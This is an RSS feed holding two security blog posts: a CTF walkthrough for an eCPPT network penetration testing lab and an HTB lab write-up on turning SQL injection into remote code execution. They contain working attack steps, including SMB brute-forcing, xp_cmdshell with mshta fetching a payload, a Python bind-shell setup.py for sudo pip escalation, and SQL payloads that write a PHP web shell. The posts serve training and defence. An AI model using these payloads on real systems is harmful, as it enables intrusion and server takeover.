<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by M7md Wael on Medium]]></title>
        <description><![CDATA[Stories by M7md Wael on Medium]]></description>
        <link>https://medium.com/@mwael710?source=rss-5a8fa084bc62------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*6Vh6KGp4zvCQqiHN</url>
            <title>Stories by M7md Wael on Medium</title>
            <link>https://medium.com/@mwael710?source=rss-5a8fa084bc62------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 05:11:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mwael710/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[eCPPT INE — Network Penetration Testing CTF 1]]></title>
            <link>https://medium.com/@mwael710/eccpt-ine-network-penetration-testing-ctf-1-792451bb9ce3?source=rss-5a8fa084bc62------2</link>
            <guid isPermaLink="false">https://medium.com/p/792451bb9ce3</guid>
            <category><![CDATA[ecppt]]></category>
            <category><![CDATA[network-penetration-test]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[M7md Wael]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 03:49:36 GMT</pubDate>
            <atom:updated>2026-04-11T14:38:43.565Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTJORYu3bQ854uxH6IJ3WQ.png" /></figure><p><strong>Q1. Leverage SNMP to uncover a user with access to a sensitive share on server.prod.local</strong></p><p>First, Let’s perform Nmap scan on SNMP port to see if it is open or not</p><pre>nmap -Pn -sU -p161 -T4 server.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Iyo9yfMgZV8e6WINn-SrYQ.png" /></figure><p>The port state is <strong>open|filtered</strong> SNMP is possible running but no response is received. Let’s enumerate SNMP using Nmap scipts</p><pre>nmap -Pn -sU -p161 --script=snmp-* server.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*uqMoVl-5t5ChCF7gU4FcUg.png" /></figure><p>No output, likely because the default SNMP community string used by Nmap was not valid on the target<br>Let’s do the scan again but this time we will change default Nmap wordlist to our wordlist</p><pre>nmap -Pn -sU -p161 --script=snmp-* --script-args snmp-brute.communitiesdb=/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt server.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qzCY2nBpXJMiIFs4RO28hw.png" /></figure><p>As you can see we successfully enumerate SNMP Server. Among these information we are interested in users in the target system</p><pre>snmp-win32-users: <br>  Administrator<br>  DefaultAccount<br>  Guest<br>  WDAGUtilityAccount<br>  ssm-user<br>  timothy</pre><p>Save those users in a file and perform a brute-force on SMB Server. Using Metasploit Framework</p><pre>use auxiliary/scanner/smb/smb_login<br>set RHOSTS server.prod.local<br>set USER_FILE users.txt<br>set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt<br>set STOP_ON_SUCCESS true<br>set VERBOSE false<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gFa_WCQmdVFCVp5Ja9772g.png" /></figure><p>As you can see, we found Timothy’s credentials. Now we will use <strong>smbmap</strong> to list all shares and the permissions Timothy has on them</p><pre>smbmap -u &#39;timothy&#39; -p &#39;jordan&#39; -H server.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*gvCVxUBFZwrZK85ZYiWVoA.png" /></figure><p>Let’s see what is in secrets folder</p><pre>smbclient \\\\server.prod.local\\secrets -U &#39;timothy&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*wqD83YUw8POUPygF47-ErA.png" /></figure><p>And here we have our first flag</p><p><strong>Q2. Obtain a shell on server.prod.local</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Gz7_3nSNU5EDbk7cbcPpGw.png" /></figure><p>As you see the target has MSSQL running at port 1433. Let’s connect to it using the credentials that we obtained from <strong>“mssql_cred.txt”</strong> file</p><pre>python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py timmy@server.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*GMa3ZwvA9kZ7rIpUzQPwkA.png" /></figure><p>Let’s see if our user is a member in sysadmin server role or not</p><pre>select loginname from syslogins where sysadmin = 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*lH2A1rRzY9BKeAxHNOvkXw.png" /></figure><p>As you see only user <strong>“sa”</strong> has sysadmin server role. Let’s see if there are any users we can impersonate</p><pre>SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#39;IMPERSONATE&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dmmbh3U8ciPr6SjQFVlHBw.png" /></figure><p>We can impersonate the <strong>“sa”</strong> user. To do this</p><pre>EXECUTE AS LOGIN = &#39;sa&#39;<br>SELECT SYSTEM_USER</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*iIPZUpGqva1Va9tIOG_X7g.png" /></figure><p>Now we are <strong>“sa”</strong> user. Let’s enable <strong>“xp_cmdshell”</strong> to execute Windows shell commands from the SQL Server environment</p><pre>enable_xp_cmdshell<br>EXEC xp_cmdshell &quot;whoami&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDNCEvhG4Dt6EMrg6zIbxA.png" /></figure><p>To Obtain a Meterpreter Session<br>in Metasploit Framework</p><pre>use exploit/windows/misc/hta_server<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*quD1Bb0nTN9Ynl69nFgieQ.png" /></figure><p>Then run the following command on MSSQL Server and you will get a meterpreter session</p><pre>EXEC xp_cmdshell &quot;mshta.exe &lt;HTA_Server_URL&gt;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4DhESl7FQ6SQnq0C4R5gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*3MQKbk2DLMc6ZnsEYTKwVw.png" /></figure><p>And here we have the second flag</p><p><strong>Q3. Gain elevated privileges on server.prod.local</strong></p><p>Let’s see our privileges</p><pre>getprivs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*IKoQ3SzN40RedUlcZgkkEA.png" /></figure><p>Since we have <strong>“SeImpersonatePrivilege”</strong> we can elevate our privileges using the following Meterpreter command</p><pre>getsystem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*McKX0DHN-x5jNIGx_CSQPA.png" /></figure><p>And here we have the third flag</p><p><strong>Q4. Exploit a vulnerable application on web.prod.local</strong></p><p>We need to perform pivoting to able to see <strong>web.prod.local. </strong>First add <strong>web.prob.local</strong> network to Metasploit routing table</p><pre>run autoroute -s 10.5.18.0/20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*2Fw-HcfX30qbzKTrr_PlbQ.png" /></figure><p>Then start a proxy within Metasploit Framework to able to use our tools on <strong>web.prob.local </strong>using proxychains</p><pre>use auxiliary/server/socks_proxy<br>set SRVPORT 9050<br>set VERSION 4a <br>run</pre><p>Now, let’s perform an Nmap scan to identify the open ports on <strong>web.prob.local</strong></p><pre>proxychains nmap -Pn -sT -F -n -T4 web.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*ffRby5N47sQIPPu52eZwzg.png" /></figure><p>Our target has web app on port 80 let’s use port forward technique to see it</p><pre>portfwd add -l 1234 -p 80 -r &lt;IP Address of web.prob.local&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*52NtRExMFxXgxCKJD-JlNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*woGEhFgywZzFtOoEMoCspQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgN_7Xy0F36sGB43CreJTg.png" /></figure><p>The web app running SPIP V4.3.1. Let’s search for any exploits for that web app</p><pre>searchsploit spip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlhA1IFc6WQA25lRCDW3hg.png" /></figure><p>Nothing here. After Some searching in google i found a github repo that has exploit for that version</p><p><a href="https://github.com/saadhassan77/SPIP-BigUp-Unauthenticated-RCE-Exploit-CVE-2024-8517">GitHub - saadhassan77/SPIP-BigUp-Unauthenticated-RCE-Exploit-CVE-2024-8517: This Python exploit targets a critical unauthenticated Remote Code Execution (RCE) vulnerability in the BigUp plugin of SPIP CMS (≤ 4.3.1, 4.2.15, 4.1.17). It abuses the bigup_retrouver_fichiers parameter, allowing attackers to execute arbitrary PHP via upload progress features, without authentication.</a></p><p>Let’s Run the exploit and see if we will get a session or not</p><pre>proxychains python3 exploit.py http://&lt;Target_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*cYVi_ISOyYg3nOtFa2EyfA.png" /></figure><p>And here we have the forth flag</p><blockquote>Note:<br>Save all users from “/etc/passwd” into a file, as it will be needed for the next flag</blockquote><p><strong>Q5. Examine a user’s .plan file on web.prod.local for a privilege</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*ffRby5N47sQIPPu52eZwzg.png" /></figure><p>As you see the target has finger Protocol running at port 79. Let’s enumerate it</p><pre>proxychains finger &lt;username&gt;@web.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*cd9iZ_z-SHDsADzYsvm-jQ.png" /></figure><p>Let’s check that directory for any thing interesting</p><pre>cat /var/opt/.backups/auditor/priv_key</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*AMKpmiYxiQKCMe-VtH7NRA.png" /></figure><p>We found auditor private key. We can login via ssh by that key without provide any credentials</p><pre>chmod 0400 ssh_key<br>proxychains ssh -i ssh_key auditor@web.prod.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*Vgl9bOWLucCB6snvhwizZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*vnA3ivafO5VmoMB7D-yxLw.png" /></figure><p>Now let’s check our privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*5u73-NP7Bjr85FHwPVycdA.png" /></figure><p>We don’t have elevated privileges. Let’s try to escalate privileges<br>First let’s check for our sudo capabilities</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*5fSI-7DCWijDDb8l16z1xg.png" /></figure><p>As you see we can use Root privileges on pip tool without provide any password using sudo and that is very dangerous because “pip install” will execute code from a Python package during installation. Let’s exploit that</p><p>First create a setup.py file. then add the following bind shell code</p><pre>from setuptools import setup<br>from setuptools.command.install import install<br>import os, socket, subprocess<br><br>class BindShellCommand(install):<br>    def run(self):<br>        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        s.bind((&#39;0.0.0.0&#39;, 4444))<br>        s.listen(1)<br>        conn, addr = s.accept()<br>        os.dup2(conn.fileno(), 0)<br>        os.dup2(conn.fileno(), 1)<br>        os.dup2(conn.fileno(), 2)<br>        p = subprocess.call([&quot;/bin/bash&quot;, &quot;-i&quot;])<br>        install.run(self)<br><br>setup(<br>    name=&#39;exploit&#39;,<br>    version=&#39;0.1&#39;,<br>    cmdclass={&#39;install&#39;: BindShellCommand},<br>)</pre><p>Then run the following command</p><pre>sudo /usr/bin/pip install .</pre><p>Now connect to the <strong>web.prod.local </strong>using Netcat</p><pre>proxychains nc -nv &lt;Target_IP&gt; 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*ggx--Xp1ZyeVK9uE1u2IWA.png" /></figure><p>As you can see, we successfully escalated our privileges to root and obtained the final flag</p><p>Hope you enjoyed this walkthrough!</p><p>Good Bye 👋👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=792451bb9ce3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection to RCE Explained: How Attackers Take Over Servers]]></title>
            <link>https://medium.com/@mwael710/sql-injection-to-rce-explained-how-attackers-take-over-servers-9687c0e1ea78?source=rss-5a8fa084bc62------2</link>
            <guid isPermaLink="false">https://medium.com/p/9687c0e1ea78</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <dc:creator><![CDATA[M7md Wael]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 22:49:34 GMT</pubDate>
            <atom:updated>2025-10-27T22:49:34.454Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Hello Hackers, SQL Injection remains one of the oldest but most dangerous web vulnerabilities because it directly manipulates how an application queries its database. While many write-ups focus on data exfiltration, SQLi can also be an attack vector for Remote Code Execution (RCE): letting an attacker run arbitrary commands or upload a web shell that the web server then executes. The risk depends heavily on the database product, configuration, and the privileges granted to the database user the application uses.</p><h3>Conditions That Make SQLi → RCE</h3><ul><li>User with FILE privilege enabled.</li><li>MySQL global secure_file_priv variable not enabled.</li><li>Write access to the location we want to write to on the back-end server.</li></ul><h3>Steps of Exploitation</h3><p>Before we start, In this HTB lab walkthrough the port_code parameter is vulnerable to SQL injection. For example:http://83.136.255.159:32362/search.php?port_code=&#39; UNION SELECT &#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39; -- -.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDtqLgKD4H8PbCnC5s61mQ.png" /></figure><p>1- We need to determine the current database user, so we use this payload: &#39; UNION SELECT &#39;a&#39;,CURRENT_USER(),&#39;c&#39;,&#39;d&#39; -- -.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j59mbwTLPIF-mI-LnGy3bA.png" /></figure><p>Nice we have root user but still we need what privileges we have.</p><p>2- We need to determine the user privileges, so we use this payload:&#39; UNION SELECT &#39;a&#39;, grantee, privilege_type, &#39;d&#39; FROM information_schema.user_privileges WHERE grantee = &quot;&#39;root&#39;@&#39;localhost&#39;&quot; -- -.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SObFsVSwO5Hv09UjyFMvjQ.png" /></figure><p>Nice we have a lot of privileges, but now we are interested in File privilege because it allows reading from and writing to the server’s filesystem.</p><p>3- We need the “secure_file_priv” variable to be unset or not restricting file access, because it determines where the database can read from and write to the filesystem.</p><p>the payload: &#39; UNION SELECT &#39;a&#39;, variable_name, variable_value, &#39;d&#39; FROM information_schema.global_variables WHERE variable_name = &quot;secure_file_priv&quot;-- -.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IikclHvxnhrlgwF9pMievw.png" /></figure><p>we see that “secure_file_priv” variable is unset so we will able to reading from and writing to any directory.</p><p>Note that “secure_file_priv” variable has three possible states:</p><ul><li>NULL -&gt; disables all<strong> </strong>read and write operations.</li><li>A directory path (e.g. /var/lib/mysql-files) -&gt; you only allow to reading from and writing to only inside that directory.</li><li>Empty string -&gt; you reading from and writing to any directory.</li></ul><p>4- Let’s try writing a text file to the webroot and verify if we have write permissions.</p><p>The payload: &#39; UNION SELECT &#39;a&#39;, &#39;file written successfully!&#39;, &#39;c&#39;, &#39;d&#39; into outfile &#39;/var/www/html/proof.txt&#39;-- -.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5pL3VRQSaHqg2EG8ycpeQ.png" /></figure><p>We don’t see any errors on the page, which indicates that the query succeeded. Let’s check for the file “proof.txt” is exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTJzSDLcegGvICcgF22Dww.png" /></figure><p>Nice we have write permission in /var/www/html/ directory.</p><p>Note that “write permission” here refers to the server/OS user’s filesystem permissions not the DBMS user itself.</p><p>Note that we must know the base web directory (Web root) for the web server:</p><ul><li>One way to find it is to use load_file to read the server configuration, like Apache&#39;s configuration found at /etc/apache2/apache2.conf, Nginx&#39;s configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config.</li><li>we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt">this wordlist for Linux</a> or <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt">this wordlist for Windows</a>.</li></ul><p>5- Uploading a PHP web shell to the webroot directory.</p><p>The payload: &#39; UNION SELECT &#39;a&#39;, &#39;&lt;?php system($_REQUEST[&quot;p&quot;]); ?&gt;&#39;, &#39;c&#39;, &#39;d&#39; into outfile &#39;/var/www/html/shell.php&#39;-- -.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWNNCcnD82bJiIu6M0pCAw.png" /></figure><p>We don’t see any errors on the page, which indicates that the query succeeded.</p><p>Now let’s run our first command: http://83.136.225.159:32362/shell.php?p=id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U1oj-LjE-IJfL34zpMVfPQ.png" /></figure><p>The output of the id command confirms that we have code execution and are running as the www-data user.</p><p>You can skip much of the annoying manual work by using automation tools.</p><h3>SQLMAP</h3><p>SQLMap is a free, open-source Python tool that automates finding and exploiting SQL injection flaws — it fingerprints DBMS, enumerates and dumps data, can access the filesystem/execute OS commands when possible.</p><p>Use this command:</p><pre>sqlmap -u &quot;http://83.136.255.159:32362/search.php?port_code=*&quot; --os-shell</pre><pre>root/team$ sqlmap -u &quot;http://83.136.255.159:32362/search.php?port_code=*&quot; --os-shell<br><br>        ___<br>       __H__<br> ___ ___[,]_____ ___ ___  {1.4.11#stable}<br>|_ -| . [,]     | .&#39;| . |<br>|___|_  [(]_|_|_|__,|  _|<br>      |_|V...       |_|   http://sqlmap.org<br><br><br>[*] starting @ 18:05:59 /2020-11-19/<br><br>[18:05:59] [INFO] resuming back-end DBMS &#39;mysql&#39;<br>[18:05:59] [INFO] testing connection to the target URL<br>sqlmap resumed the following injection point(s) from stored session:<br>...SNIP...<br>which web application language does the web server support?<br>[1] ASP<br>[2] ASPX<br>[3] JSP<br>[4] PHP (default)<br>&gt; 4<br><br>do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y<br><br>[18:06:07] [WARNING] unable to automatically retrieve the web server document root<br>what do you want to use for writable directory?<br>[1] common location(s) (&#39;/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs&#39;) (default)<br>[2] custom location(s)<br>[3] custom directory list file<br>[4] brute force search<br>&gt; 1<br><br>[18:06:09] [WARNING] unable to automatically parse any web server path<br>[18:06:09] [INFO] trying to upload the file stager on &#39;/var/www/&#39; via LIMIT &#39;LINES TERMINATED BY&#39; method<br>[18:06:09] [WARNING] potential permission problems detected (&#39;Permission denied&#39;)<br>[18:06:10] [WARNING] unable to upload the file stager on &#39;/var/www/&#39;<br>[18:06:10] [INFO] trying to upload the file stager on &#39;/var/www/html/&#39; via LIMIT &#39;LINES TERMINATED BY&#39; method<br>[18:06:11] [INFO] the file stager has been successfully uploaded on &#39;/var/www/html/&#39; - http://www.example.com/tmpumgzr.php<br>[18:06:11] [INFO] the backdoor has been successfully uploaded on &#39;/var/www/html/&#39; - http://www.example.com/tmpbznbe.php<br>[18:06:11] [INFO] calling OS shell. To quit type &#39;x&#39; or &#39;q&#39; and press ENTER<br><br>os-shell&gt; ls -la<br><br>do you want to retrieve the command standard output? [Y/n/a] a<br><br>command standard output:<br>---<br>total 156<br>drwxrwxrwt 1 www-data www-data   4096 Nov 19 18:06 .<br>drwxr-xr-x 1 www-data www-data   4096 Nov 19 08:15 ..<br>-rw-rw-rw- 1 www-data www-data    188 Nov 19 07:39 search.php<br></pre><p>As we can see, this time SQLMap successfully dropped us into an easy interactive remote shell, giving us easy remote code execution through this SQLi.</p><h3>Mitigation</h3><ul><li><strong>Input Sanitization:</strong> Validate and filter user inputs to remove malicious characters and enforce proper data formats.</li><li><strong>User Privileges:</strong> Use least-privilege database accounts to limit damage if an injection occurs.</li><li><strong>Web Application Firewall (WAF):</strong> Block malicious SQL injection attempts by detecting suspicious request patterns.</li><li><strong>Parameterized Queries:</strong> Use prepared statements to separate SQL code from user input, preventing code execution.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9687c0e1ea78" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>